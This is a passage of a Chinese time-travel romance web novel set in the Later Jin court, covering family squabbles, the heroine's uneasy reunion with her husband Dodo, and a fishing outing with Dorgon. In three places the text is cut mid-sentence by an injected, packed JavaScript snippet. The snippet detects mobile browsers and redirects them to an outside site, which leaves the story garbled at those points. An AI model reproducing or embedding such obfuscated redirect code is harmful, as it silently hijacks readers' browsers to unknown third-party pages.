三个人正说着,或许是马喀塔的眼中的情绪太过外露,被哈达格格发现了,于微只觉得后背一凉,再抬头,便对上哈达格格凝视的目光。她扫了一眼聚在一起的三人,身子微微□□,似乎有朝这边过来的意思。 不要过来啊!于微在心中呐喊。 但下一瞬,那群人便浩浩荡荡朝她走了过来,所经之处,无人不让路。 14. 围魏救赵 “是多铎的新福晋啊。” 于微最不想看到的事情,还是发生了。 哈达格格气定神闲的站在几步之外,等着于微上前见过她。 哈日娜来的很快,正跟人说话的她远远看见哈达格格往于微的方向来,当即心道不好,赶紧朝于微的方向赶来,她站在两人之间,挡住于微三人,向哈达格格与穆库什格格行礼,“姐姐。” 于微也学着哈日娜的样子,向两人行礼,“姐姐。” “姑姑。” 达格格身后两个年轻福晋见状,才朝哈日娜与于微行礼,“婶婶。” 童尘不知道怎么称呼行礼,干脆站在原地,哈达格格瞪了她一眼,童尘无畏的还了回去。 哈日娜回头望去,见是童尘,向哈达格格介绍道:“这是嫩科尔沁国的别吉,大嬷嬷的掌上明珠,做客后金。” 她是远道而来的客人,哈达格格只得作罢,她的视线掠过童尘,落到她身旁的于微身上。 “我没怎么见过多铎的新福晋,骤然见到一个陌生面孔,这般风度,还以为是大福晋为大汗娶的新福晋呢,走近一看,才发觉是多铎的新福晋。是叫,达哲,是吧?” 于微道:“是。” “我记得大福晋的次女也叫达哲,姨侄两个都叫一个名字,也不知咱们小格格叫什么,是不是又跟大福晋的小妹妹,这位小别吉一个名字呢?” 小妹妹三个字,加了重音。 说着,哈达格格笑了下,讥讽之意,溢于言表,她身旁几位妇人也笑了出来。 这群大姑子真是没事找事.....于微心想。 吃饱了撑得慌,就多去散步。 哈日娜不卑不亢道:“这不就不劳姐姐操心,大汗临走时,已经为孩子取好了名字,就叫飞扬古。至于别吉,她叫巴特玛琪琪格。” 飞扬古在满语中是最小的意思,不出意外,这位小格格会是哲哲最小的孩子。 哈达格格抬眸,看向哈日娜,显然,若论嘴上功夫,两人针尖对麦芒,哈达格格占不到半分便宜。 “怎么都是你在说,达哲是不会说话吗?” 于微看向童尘,两人不约而同翻了个白眼,素味平生,这大姑子犯不着这么不死不休吧。 她当然会说话,就是她怕自己说的话不太好听。 但对方的底细,她一无所知,就要反驳,也不知该从何说起,于微深吸口气,“我刚嫁过来不久,还不熟悉,不敢轻易开口,以免怠慢姐姐。” 哈达格格显然没打算放过于微,柿子专捡软的捏,就在她诘难于微之际,马喀塔偷偷凑到童尘耳边,和她说了一句话,童尘眼前一亮,当即道: “我听说胎神送子,大福晋刚刚产女,宫中胎神恐怕还没走远,若是谁出言不逊,惊扰胎神。” 童尘的目光越过哈达格格,落到她身后年纪最轻的那个妇人身上。 那是豪格的福晋,哈达格格的小女儿,方才马喀塔悄悄对自己的小姨妈道:“大嫂还没有孩子呢。” “胎神会如何惩处,尚未可知呢。”她幽幽道。 当着自己还没有生孩子的女儿,嘲讽哲哲没生出阿哥,童尘也不知道哈达格格怎么想的。既然这样,也别怪她釜底抽薪、围魏救赵了。 果不其然,童尘话音刚落,豪格福晋的脸‘唰’得下白了,哈达格格眼中惊愕一闪而过,显然,她没有料到童尘敢当着她的面说出这种话。 哈日娜也有些惊愕,垂眸略微一思索,却并未出声制止,暗暗一笑,放任不管。这些话她们做妯娌长辈的不好说,可童尘只是来后金做客的客人。 客人说错了什么话,主人家除了包容,还能如何?何况她年纪又小,完全可以算作童言无忌。 哈日娜不仅不阻止,反而顺着她的话说了下去,“在蒙古,的确有这个习俗,姐姐还是要慎言,以免触怒神灵。” 于微也听明白了,“人在做,天在看。胎神未必小气,但屡屡冲撞,毫无顾忌,纵然是神仙,也有动怒的一天。” 三个人你一言我一语,豪格福晋的脸色越来越难看,她的姐姐,岳讬的福晋急忙将她拉入怀中,温声安慰起来。 哈达格格看了一眼小女儿,唯恐几人再说出些什么扎人心的话来,不甘的瞪了一眼几人,带着女儿和妹妹走了。 几人大获全胜,于微和童尘嘴角弧度压也压不住。 “你们真是胆子大,连哈达格格都敢惹。”哈日娜嘴上斥责,语调中却带着几分得意,显然,她也看这个大姑子哈达格格不爽很久了。 天下并列第一几对矛盾,婆媳、姑嫂、妯娌。 喜讯,没有婆婆。 但有一大堆大小姑子和妯娌。 于微和童尘对视一眼,低头笑道:“哈达格格?那又怎么样?” 她们还是蒙古别吉呢。 哈日娜笑了,“哈达格格叫莽古济,因为嫁给了哈达部,所以叫她哈达格格,她是三贝勒莽古尔泰与贝勒德格类同母的姐妹,先汗的爱女,打小嚣张惯了,连大汗也不怎么放在眼里,但奈何她是姐姐,长幼有序,大汗也得尊重她一些,每逢年节,都要去哈达格格家拜年,大汗尊重,福晋们就拿她没什么办法。你们也的确是初生牛犊不怕虎。” “嗯?”于微与童尘同时瞪大了眼睛。 怎么都大汗了,还要去给哥哥姐姐们拜年?不应该是别人来给大汗拜年吗? 哈日娜见两人吃惊,以为她们知道哈达格格身份,心中后怕,笑道:“你们也别怕她,有我呢。” 于微有些好奇,“你不怕她吗?” 哈日娜笑了,“我怕她做什么?她虽然是姐姐,但和多铎又不是一母所生,管管她蓝旗两个兄弟也就罢了,想管到我头上,做梦去吧。你可别忘了,我也是有额格其的人,我额格其还是先汗的福晋,按辈分,她也要叫一声额涅。” 十贝勒府和老汗王宫挨得近,努尔哈赤驾崩后,留下一众妻妾,都住在老汗王宫,哈日娜时常入宫去看自己的姐姐安布侧妃。 一山更比一山高,长幼有序压死人,辈分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953905|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就更压人,所以即便是莽古济,在面对哈日娜时,也投鼠忌器。 于微心想,这是个靠姐妹的时代。 月底,皇太极凯旋,哲哲带着众福晋、贝勒福晋前去迎接。 四处都洋溢着家人重逢的喜悦,唯独于微和多铎这边,十分冷清,两人看着彼此,好半天说不出一句话来。 晨起时,哈日娜有些不舒服,她的月份渐渐大了,逐渐显怀,她说不舒服,于微也不敢让她逞强,最后,就剩她一个人跟着哲哲前来迎接凯旋大军。 众人那边都热闹,唯独他们冷清,难免惹人侧目,多铎搜肠刮肚,想说点什么,缓和一下气氛,结果却发现他们实在是没什么话能说。 多铎没见哈日娜,想开口询问,但话到嘴边,又怕于微心生不满,思索片刻,问于微道:“你在家里还好吗?” “还好。”于微硬着头皮,干巴巴回了两个字。 气氛一时又陷入沉默。 “哈日娜有些不适,不能来接你。” “我知道了。” 数月不见,多铎没什么太大的变化,只是比之前更黑些,出征在外,风吹日晒。 大军入内,简短的总结大会召开过后,众人便各回各家,阿图格格舍不得童尘,一定要她留在宫中陪自己玩,童尘无奈,只得留在汗宫,于微一人和多铎回了贝勒府。 两人进了门,绕过门前影壁,就快到分道扬镳之地了,她住在正院,哈日娜住在西边,就在于微想着要不要跟多铎道个别之际,多铎的脚步却并没有如以往一般西转,而是跟上了她的步子。 于微顿时紧张起来,后背阵阵发紧,上台阶之时,她余光微微后瞥,确认多铎真跟了上来,心砰砰乱跳起来。 正院不大,却五脏俱全,一排五间房,各有用处。满族习俗并不从正中开门,而是在靠近侧面的位置。 西边两间,东边三间,一进门,两口大锅朴实无华,于微和童尘研究了下,心想这应该是起到加湿器的作用,总不能是现场给祖先炒两道菜吧? 西边靠里的屋子,供奉神灵与祖先牌位,稍外一点,是书房。往东的正屋,是客厅,临窗一排长炕上陈列各类家具。 正屋的采光很好,早晚都有太阳。 再往里,就是于微洗漱更衣的浴室兼衣帽间,最东的暖阁是卧室,东北天气冷,暖阁能起到很好的保暖作用。 两边还有耳房,一边由侍奉的侍女们居住,另一边是杂物间,两边还各有厢房一座,西边的厢房由童尘住着,但更多的时候,两人还是睡在一起。 多铎显然对正院很熟悉,这毕竟是他自己家,他进门以后,正院原本的侍女立刻跟了上去,服侍在左右,准备衣服的准备衣服,打水的打水。 于微与一众蒙古侍女不太插得上手,站在屋中,似乎有些格格不入。也好,也省了她们长针眼了。 多铎泡进热水,才想起于微,问道:“福晋呢?” 侍女从屏风后走出,“福晋。” 于微抿唇,“在这儿。” 15. 看破不说破 虽然人在找福晋,但等于微真的进去了,多铎还是不自觉的往浴桶中沉了沉,水线上升又下降,水面边缘漂浮的玫瑰花瓣沾在了桶壁。 于微垂眸,望着水面厚厚一层玫瑰花,抿唇扫了周围侍女一眼,已然有了几分不满。 这是她的花! 她的! 她和童尘亲手采摘晾干,打算自己泡玫瑰花澡和制作精油的干玫瑰花瓣,正琢磨精油的做法呢,还没研究出点影子,玫瑰花瓣先被别人用了。 这群侍女究竟是谁的侍女?怎么拿她的东西给多铎用呢? 哦,她们是多铎府上的包衣侍女,那没事了。 八旗有在旗和包衣之分,所谓包衣,来源于满语‘家的’,类似于家臣,负责为旗主打理家事,侍奉起居、管理庄子、长途贸易。包衣对旗主有很强的人身依附,是奴隶制的残留,旗人却是相对独立的群体,仅视旗主为领主。 也幸亏有厚厚一层玫瑰花瓣做掩护,她才避免了长针眼的命运,侍女递上丝瓜瓤,看样子,这是打算让她给多铎搓背? 嗯?拿她当保姆使唤吗? 于微抬眸,扫了那侍女一眼,那侍女垂眸,目不斜视,全然没将她放在眼中。 嗯? 手中丝瓜瓤漉漉滴着水,沿着手腕打湿了衣袖,于微火气蹭的下就上来了,丝瓜瓤宛若一颗鱼雷在海面爆炸,激起的水花溅了多铎满脸,就连旁边的侍女也未能幸免,仓惶后退两步,惊愕而恐惧的看向于微。 “你做什么?”多铎抹掉脸上的水,又惊又怒。 于微抬袖擦掉溅到自己脸上的水,没好气道:“你自己没长手吗?” 巨婴。简直是巨婴。 她是不会惯着这个巨婴的。 说罢,她也不管多铎,径直走了出去,一屁股坐在炕上,还在为侍女不经过她的允许,擅自拿了她的玫瑰花瓣而生气。童尘不在,那股被压下又浮起的强烈寄人篱下的感觉,再度涌上心头。 连一个侍女都敢越过她擅自做主?这是她的东西! 阿雅等一众蒙古侍女见于微生气,忙围了上来,阿雅小声问道:“别吉,怎么了?” “把那侍女给我赶出去。”于微怒道。 阿雅一愣,小声问道:“哪一个侍女?” 于微还未回答,那边多铎已经从屏风后转了出来,他一边往于微这边走,一边系着衣边衣扣,“哪个侍女惹你生气了?” 显然,多铎听见了于微的话。 “都赶出去。” 闻言,屋中所有侍女纷纷朝于微看来,眼带惊愕,方才那个低头目不斜视的侍女扑通声跪在多铎面前,“贝勒。” 能近身侍奉的侍女,都是很机灵又长眼色的人,但也正是因为这股聪慧,让她们可以很清楚的分清大小王,然后看人下菜碟。 多铎垂眸看了那侍女一眼,又扫了屋中侍女一眼,良久,缓缓开口问道:“她们哪里做错了?要把她们全部赶出去?” “我不喜欢她们,不能赶出去吗?”于微懒得解释,口气骄横。 多铎沉思片刻,抬手,示意屋中所有侍女都先出去,屋中只剩下两人,一左一右坐在炕桌两边。 “你在家都做什么了?”多铎并没有直接问于微为何要赶走那些侍女,而是旁若无事的和她聊起别的话题,他知道,她这会儿在气头上,揪着此事喋喋不休不仅问不出结果,还会激怒她。 他慵懒的卧了下去,靠在棉枕上,双手枕在脑后,悠闲望着于微,似乎只是在和她聊天。 “出去骑马,采花,做饼,做奶茶,去看国君福晋和西宫福晋,陪几个小格格玩。”于微干巴巴列出了自己的行程。 和童尘在一起的每一天,都是那么有趣,一眨眼,居然就过去快两个月了。 “花是你摘的。”多铎捕捉到了关键信息,垂眸略微一思索,“我还以为是谁摘的呢,还觉得很有巧思,就随手用了,竟然是你摘的。” 于微蹙眉,扫了多铎一眼,说谎之前都不调研一下,东西放在哪里,他知道吗? 她冷笑一声,懒得再理他。 多铎见她这神情,只得重新找个话题,“你很喜欢骑马吗?” “不是很喜欢,但是巴特玛喜欢。”童尘自从学会骑马,就爱上了这种红尘作伴的潇洒感,隔三差五就要出去溜一圈。 于微在家中待着也无趣,于是乎就跟着她出去,时而和童尘一起骑马,一手缰绳,另一手拉着对方,还珠格格的风,到底吹到了她们脸上。有时候她不想骑马,就铺了毛毡,郊游野餐。 厚毡松软,她躺在草地上,惬意望天,一口奶茶一口水果,何其舒适。 东北的夏天也不热,树荫下凉风习习,鸟鸣啾啾,和着水声哗啦,犹如天籁,就这么静静躺着,于微就觉得心旷神怡。童尘骑累了,一头躺在她身边,两人并肩躺在草地上,望着蓝天白云,接受自然的洗礼。 她们本来还打算去钓鱼,浑河水清,岸边时常有人拿鱼叉捕鱼,尺长的鱼,个头大,被渔人举起,在阳光下,细鳞上流光闪动。 都怪多铎,回来这么快做什么? “巴特玛爱骑马,我那里有几匹好马,改日让她挑一匹自己喜欢的。”多铎很大方,出手就是好马。 于微眸光霎时一紧,警惕看向多铎。 “怎么了?” “你送她东西做什么。” 俗话说得好,无事献殷勤,非奸即盗,多铎无端要送巴特玛几匹好马,这不得不令人揣测。 给她离童尘远点! 见于微如此反应,多铎的神情也变得认真,他耐着性子道:“她是你的妹妹,我的妻妹,远道而来,送她两匹好马怎么了?你舍不得吗?” 于微心中的戒备依旧没有放下,嘴上却道:“哦。怎么会舍不得,那谢谢你了。” 好马,不要白不要。送上门来的跑车不要,不是傻吗。 多铎:“.....” 一番话说完,室内又陷入死寂,多铎实在找不到话了,他也看出来,于微是故意把话说死,她并没有和自己说话的兴趣,既然如此,他又何必热脸贴人冷屁股。 “谢什么,都是自家人,这么做是应该的。” 他慢慢转过去,脸朝上,盯着房顶上的横梁出神,好半晌,才若有所思问道:“你骑马,是和谁一起去的?” 于微心中一惊,但脸上并没有显露,若无其事道:“巴特玛啊。” “费扬果没去吗?”多铎追问道。 于微不再说话。 “我送巴特玛马,是因为我不在家,她陪着你,刚成婚不久就丢下新婚的福晋,是我的不对,但战事要紧,我也不能不去。留你一个人在家,我心中总是过意不去。若是费扬果去了,我也应该像谢巴特玛那样谢谢他。送不了好马,也该送几只羊,略表心意。” 他口气平淡,好似全不在意自己头上是否有色,还想着送费扬果羊。 于微明显感觉到,多铎似乎并不在乎她和费扬果之间的关系。 不会真如费扬果说的,偷情也不是什么大过错吧? 啊?于微心中大惊。 说完那番话,多铎就悄悄转过头去看于微,他紧紧盯着她的脸看了很久,终于在她眼中看到一丝因计谋不得逞的震惊,见此,多铎嘴角勾起一丝戏谑的笑。 就说她跟费扬果是假的吧。 不是眼瞎,只是单纯想将这件不合自己心意的事情搅浑,这样的事情,他打小不知道做了多少。 否则,她堂堂一个别吉,怎么会看上一个一无所有的庶子,她只是想借着这个庶子跟自己作对。多铎笑着,伸了个懒腰,约莫傍晚时分,有下人前来回禀,说送给费扬果阿哥的羊已经送去了。 于微布置碗筷的手一顿,诧异看向多铎,真送啊? 她有点不懂男人了。 不对,她好像就没懂过。 十只羊送到费扬果手中时,他脸上的表情也很复杂,他望着面前咩咩叫的一群绵羊,陷入了深深的思考之中。 因为多铎回来,晚膳也比较丰盛,宰了羊,又是羊....往日香喷喷的羊排,不知怎么变得索然无味起来,可能是因为多铎坐在身边,有些倒胃口,于微没吃多少,就放下了金碗。 蒙古喜欢使用金银器皿,于微的陪嫁里有整套的金银碗筷,金碗吃饭,不一定比别的碗吃饭香,但是绝对比别的碗看起来豪,她就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15960135|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握沉重的筷子握得肌肉酸痛,也要坚持用她的金餐具。 金属筷子比木竹筷子都要沉,尤其是黄金白银这种密度大的金属,一顿饭下来,累得于微手臂酸痛,胃和脑子一对账,倒欠几百卡路里。所以天黑了没多久,她就又饿了。 可多铎还安然坐在炕上,翻看着手中的书本,看着看着,也不知看到了哪里,眉头紧锁。于微隐隐感觉,对方是没有走的打算了,既然如此,那她只能委婉的下个逐客令了。 “你不去看看哈日娜吗?她要生了,还有大格格,大格格一直念着你呢。” 多铎头也不抬,“明天再去吧,这会儿天都黑了,大格格应该睡了。” 于微:“.....” 肚子开始咕咕叫,于微只能一件一件解决眼前事,天已经黑了,就少吃点,一碗满加芋圆、芋泥、珍珠等小料,稠如八宝粥的奶茶被阿雅端了上来,多铎面前也搁了一碗,不过是常规版。 他放下书,端起碗,喝了一口,有些意外,“甜的?” 多铎看向于微的碗,又看了看自己的,“咱俩的是不是不一样?” 于微舀了一大勺小料,“有吗?都是一样的啊。” “是吗?” 于微面不改色,“当然。” 吃完夜宵,天色彻底黑了,到了要睡觉的时候,于微见多铎还是没有要走的打算,于是决定将早上的事情再拉出来热一热,最好是能吵一架。 “什么时候把那些侍女赶出去。” 多铎‘啧’了声,“明天再说,困了,睡觉。” oi?怎么还起了反作用。 眼见多铎就要往东暖阁而去,于微一个箭步往前,挡在他前路,“不行。” “我赔给你行吧。”多铎无奈,“但现在这个季节花都谢了,我赔你羊。” “一百只够不够。” 于微到嘴边的拒绝,卡在齿间,一百只,给的有点多,毕竟玫瑰花是...野生的,一毛没花。 短暂一犹豫,多铎已经越过她,进入了暖阁之中,脱鞋上床盖被子一气呵成。 看着眼前这一幕,于微深吸口气,该死,她就不该贪图那一百只羊,可是话又说回来,那可是一百只羊,来年春天,羊群繁衍..... 均匀的呼吸声从床边传来,于微有些诧异的抬眸,却见多铎已经睡着。 年轻人身体就是好,倒头就睡。 数月奔波,借道蒙古,转入明国境内,日夜马不停蹄,多铎实在疲惫,到了家,第一件事,便是好好睡一觉。 见多铎睡着了,于微悬着的心,才慢慢落回原地,她小声唤来侍女,准备更衣洗漱。 阿雅道:“是。” "小声些,不要吵醒他。"于微没忘叮嘱侍女们。 阿雅低头一笑,“是。福晋。” 于微蹑手蹑脚爬上床,睡到了床内,暖阁的床不大,她躺下的时候,明显感觉到自己的肩膀擦着多铎的肩膀而过,于微往里挤了挤,又翻了个身,背对多铎,闭上了眼睛。 卧榻之侧,有他人酣睡,于微自然睡得不踏实,数次惊醒,到天明时,才因为太困,熬不住而沉沉睡去。后半觉睡得很沉,等她再睁开眼睛,已经是日上三竿,阳光大作。 于微翻了个身,后背却压到了什么,回头一看,却对上多铎近在咫尺的脸,他也幽幽转醒,手被什么压住,抽了抽,却没抽出来,定睛一看,是于微,他手臂一曲,揽住于微的腰便将她往自己怀中勾来。 于微滚了一圈,撞进一堵坚厚的胸膛,紧接着,另一只沉重的臂膀便落在她肩头。 多铎将她环抱怀中,下巴搁在她肩头,眼睛再度闭上。 于微本能抬手,抵在多铎胸膛,绸衣单薄,刚睡醒尚高的体温透过薄薄的衣料,落在她掌中,紧实的腱子肉,伴随着心跳起伏,而愈发手感明晰。 她彻底清醒了。 此时不起床,更待何时?于微弹射而起,坐在床上,多铎揉着惺忪睡眼,微微支起上半身,“怎么了?” 于微振振有词,“该起床了。” 多铎又躺了回去,抓起被子,盖住脸,他虽未说话,但已经用行动表明——要起你起,我不起。 16. 宫斗高手海兰珠 多铎睡到午后才起,一个吃午饭太迟,吃晚饭太早的尴尬时间,于微起的早,赶上了午饭的时间,已经用过,多铎便只一个人吃饭,他吃饭,于微百无聊赖,拿起桌上的书翻了起来。 是宋元史书,翻译成满文。 “看得懂?”多铎抬眸,笑着看了她一眼。 于微抿唇,决定给这个小看她的男人一点颜色看看,“我连汉文的都看得懂,何况这个。” 蒙文是原主自带的语言系统,满文则从蒙文而来,学习起来的难度不大,于微也是掌握三门语言的高素质人才了,哦,不对,她还会点英语,四门。 在后金,懂前两种文字的贵族多,会汉文的少,尤其多铎见于微还是个蒙古人,不同于后金和明国接壤,招揽了大量明国降将、百姓,嫩科尔沁蒙古和汉地的往来已经非常少了。 听于微说自己还会汉语,多铎蹙眉,明显有些不信,他放下手中的筷子,半信半疑问道:“真的?” “我骗你干嘛。” 多铎在几案上那堆书中翻了翻,从最底下取出一本汉文版宋史,于微翻开一看,虽然是繁体字,但汉字一脉相承,看着繁体,也大概能猜出它究竟是个什么字,而且又不是考语文,错一两个也没什么事。 “太祖启运立极英武睿文神德圣功至明大孝皇帝,讳匡胤....” 于微读着读着,觉得不太对劲,赵匡胤,这不是宋史本纪第一页?看到这儿,和英语单词记到abandon有什么区别? 她抬眸,匪夷所思望向多铎,“你看了多久?” “啊?”多铎不仅没料到于微认识汉字,也没有料到对方居然真看过宋书,被她打了个手足无措,支支吾吾道:“个把月...” 于微眯眼,根本不信,刚才的满文金史,也还在完颜阿骨打那一页。 看了一个月,看到了第一页?好高的学习效率。 “你都不想看,为什么非逼着自己看?”于微不解。 多铎抿唇,无奈道:“大汗让诸贝勒读宋辽金蒙古史书,引以为鉴。” 皇太极不仅重视子弟的武功,也很非常重视他们的教育,他以为当今的形势,恰如当年宋与辽金、蒙古先后对峙,辽金蒙古,都是如后金一样的游牧、渔猎民族建立的政权,他们的发展轨迹,具有很强的借鉴意义。 后金应当了解前朝兴衰缘由,引以为鉴,遂命弘文馆翻译宋元史书,让诸贝勒学习。孙权劝吕蒙读书,是委婉的劝,皇太极劝诸贝勒读书,是强硬的劝。 于微恍然大悟,原来皇太极的指示,自己这不翻则已,一翻惊人啊,才学到abandon! 好小子,读书一点都不认真。 “好好看书吧。”于微站起身,往外走去。 “你去哪儿?” 于微已经走到门口,闻声,她回过头来,莞尔一笑,故意道:“我要出去玩了。” 原本觉得多铎回来了,会影响她和童尘的浑河之行,现在看来,是她多虑了。 浑河离盛京不远,一条宽阔的大河,洋洋洒洒往前流去,水质清澈,站在河边,隐约可见河底大小的沙石,和石缝中间接不断浮出水面的点点白光,那是鱼鳞在日光下的颜色。 于微到时,童尘和几个格格已经到了,几匹马拴在河边树下,正低头啃食着地上的草。于微手搭凉棚,远远望去,发现马喀塔几姐妹都跟童尘来了,除此之外,还有一道带着点熟悉的背影。 她眯着眼睛定睛望去,那瘦高的背影,不是多尔衮是谁,多尔衮也注意到了于微,眼睛一眯,锐利的视线便投到她身上,看清来人面目,他扭头对身边几人说了些什么,水中几人纷纷回过头来。 于微下马,朝几人跑过去,几人都脱了鞋子,挽起裤管,开衩的袍角掖在腰带,弯腰在河里摸鱼。见无端多出个多尔衮,于微狐疑的看向童尘,童尘抿唇,显然这也不是她的主管意愿。 中国有句古话,来都来了,于微只得向多尔衮问好,“哥哥好。” 多尔衮站在水稍深处,见于微向自己问好,微微一笑,点头还礼,“达哲。” 于微脱了鞋子,一路踩着水,挤到了童尘身边,小声问道:“怎么回事?” 姐妹局,带男人,这合适吗? 童尘无奈,“他非要来。” 原是几人准备出发时,恰好皇太极也见完多尔衮,不打算留他吃饭,就打发他走了,狭路相逢,童尘认出眼前人就是那天见过却不知身份的帅哥。 马喀塔和几个格格向多尔衮行礼,“十四叔。” 还真是多尔衮,童尘抿唇,心中有一点失落。 “这位是?”多尔衮见几人身边多出个年轻姑娘,不免好奇。 马喀塔道:“是巴特玛琪琪格姨妈,从科尔沁来。” 多尔衮‘哦’了声,点头见过童尘,“巴特玛别吉好。” 童尘还礼,“九贝勒好。” 阿图开心走过去,抱住多尔衮的腿,“叔叔。”多尔衮见是阿图,笑着弯腰抱起她,雅图见多尔衮只抱阿图,抓着多尔衮的衣摆,也要他抱,多尔衮笑着,另一手抱起雅图。 “你们要去哪儿啊?”多尔衮问道。 阿图和雅图争相回答,异口同声道:“要去抓鱼。” 多尔衮余光瞥了一眼童尘,笑着对两个小格格道:“我也好久没抓鱼了,能不能带上我呢?” 雅图和阿图看向姨母,多尔衮也顺着她二人的视线,看向童尘,小格格的目光满是期待,多尔衮的视线带着笑,温柔落到了童尘身上。 “好吧。” 不得不说,多尔衮是捉鱼的一把好手,没过多久,就听他喊了一声“抓到了”,众人循声望去,但见他举起一尾鲜活乱蹦的鱼来。浑河的鱼很多,几乎是肉眼可见的在水中游来游去,没过多久,几个小格格也陆续抓到了鱼。 于微和童尘面面相觑,“她们怎么抓到的?” “怎么我们一过去,鱼就跑了?” 东北的八九月已经见了凉,正午的太阳稍微西斜,脚下的河水就有些冷了,怕小格格们着凉,于微和童尘虽没抓到什么鱼,但还是带着她们上岸。 这一次捕鱼大丰收,平均下来一人一条,中位数也不错,果然数据还是要处理之后才好看。 几人在岸边穿上鞋子,整理好衣服,便动手烤鱼,远远跟着的侍从想要上前,被多尔衮挥手屏退,侍从们又退回原处,远远跟着他们。 多尔衮用随身携带的匕首,在河边将鱼处理好,刮掉鱼鳞,剖腹处理内脏,于微和童尘找来木棍,用小刀削掉外面一层树皮,递给多尔衮,多尔衮将鱼串好,挨个插在地上。 那边马喀塔已经升起了火,雅图和阿图格格两人东跑西跑的捡拾柴火。两人见到一根柴,便一边笑着,一边争先恐后跑过去,雅图抢了先,阿图一扭头,又看到另一根树枝,笑着跑了过去,草原上,全回荡着二人咯咯的笑声。 于微和童尘也被这愉快而轻松的氛围感染,望着两个跑来跑去的小格格,不自觉笑了出来,多尔衮余光瞥向童尘,见她笑得开心,嘴角也不自觉勾起道弧度。 大汗没有同母的兄弟,同父的兄弟想要更进一步,只能想点别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968447|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的办法,跟大汗当连襟,是个不错的想法,可是多尔衮往前一看,又看到了弟弟的前车之鉴。 国君福晋之妹何其尊贵,但尊贵之人往往也小有脾气,对待有脾气的人,要智取,不能硬来。聪慧的、勇敢的贝勒多尔衮如此想道。 火堆升起,三人将处理好的鱼插在火边,静待肉熟,不是野餐,就是野炊,这一天的日子,过得真是不错。等烤鱼熟的时候,多尔衮怕她们无聊,给她们讲起出征路上遇到的奇闻轶事,惹得众人哈哈大笑。 听多尔衮说起林丹汗,于微忽然想起宫中的新福晋。 此番出征,皇太极带回来了一位新福晋,即林丹汗的第四大妃窦土门福晋芭德玛瑙【1】。 “我记得国君福晋说过,高尔土门福晋也归降后金了,我听说,高尔土门福晋斯琴图是林丹汗的第二大妃,窦土门福晋芭德玛瑙是第四大妃,可为什么嫁给大汗的,不是地位更高,更先来降的高尔土门福晋,而是窦土门福晋呢?” 于微百思不得其解,现在见到多尔衮,可算是有个人能解答她的问题了。 总不能是皇太极觉得窦土门福晋比高尔土门福晋好看,所以选择了窦土门福晋吧?可迎娶林丹汗遗孀不是一桩政治联姻吗?皇太极这么任性吗? 多尔衮想了想,“迎娶林丹汗的大妃其实也是你们蒙古习俗,新汗收继前汗妻妾,两位福晋率部众归降,后金理当善待。所以诸位贝勒才会进言,请大汗迎娶。” “至于为什么是窦土门福晋,而不是高尔土门福晋,主要是因为高尔土门福晋已经自主改嫁了。” “林丹汗一死,高尔土门福晋就改嫁给了林丹汗的下属,他们是夫妻两个带着部众来投降的,高尔土门福晋既然改嫁,那肯定就不能再嫁给大汗,窦土门福晋是孤身来投靠,和她不同。” 于微恍然大悟,原来如此。 “这位高尔土门福晋应该是在林丹汗生前就和他的部下有往来,否则不会这么快就改嫁。大汗和诸位贝勒以为高尔土门福晋的新夫,是林丹汗的臣子,却背叛了主人,又娶了主人的妻子,实在是违背了为臣之义,让高尔土门福晋和他分开。” 于微蹙眉,看向童尘,童尘也表情复杂,人家愿意改嫁就改嫁呗,还让人离婚,管的好宽。 “怎么想起问这个?是在担心什么?”多尔衮笑了下,看向于微,锐利的目光直投入她眼底,似乎想直接从她眼中看出答案。 但很可惜,于微就是一时八卦。 “随便问问啊。”她答得诚恳,多尔衮也没看出什么,目光一垂,落到火堆边的烤鱼身上,漫不经心道: “我还以为你是担心要嫁给大汗的新福晋呢,其实也没什么,大汗礼重科尔沁,想来新福晋入宫,也一定是位受人尊重的福晋。” 于微想了想,大概明白多尔衮说的那位要入宫的新福晋,是她的侄女乌尤塔。福晋和福晋之间,包括侧福晋,虽然都是妻,孩子享受相同待遇,但并非完全没有差距,依旧有高低之分。 一看背景,二看受宠程度,三看资历。 这么多妻妾,肯定会分出个第一第二第三,谁不想排队的时候,排的靠前呢?但对方可是海兰珠啊。 她担心海兰珠在宫里的地位,这合理吗? 一想到海兰珠,于微又想起来,海兰珠是被皇太极封为东宫大福晋,但现在的东宫福晋位置上还坐着扎鲁特氏,那扎鲁特氏是?死了?还是退位让贤? 看扎鲁特氏现在的样子,她应该没有让贤的肚量,莫非海兰珠还是宫斗高手? 想到这里,于微眼前一亮。 17. 多尔衮牌烤鱼 多尔衮抓鱼技术不错,但烤鱼技术一般,当然,可能更多的还是调料的问题,按道理说,明清时期中国应该已经有辣椒这个东西,可于微在厨房翻来覆去的找,也没有找到。 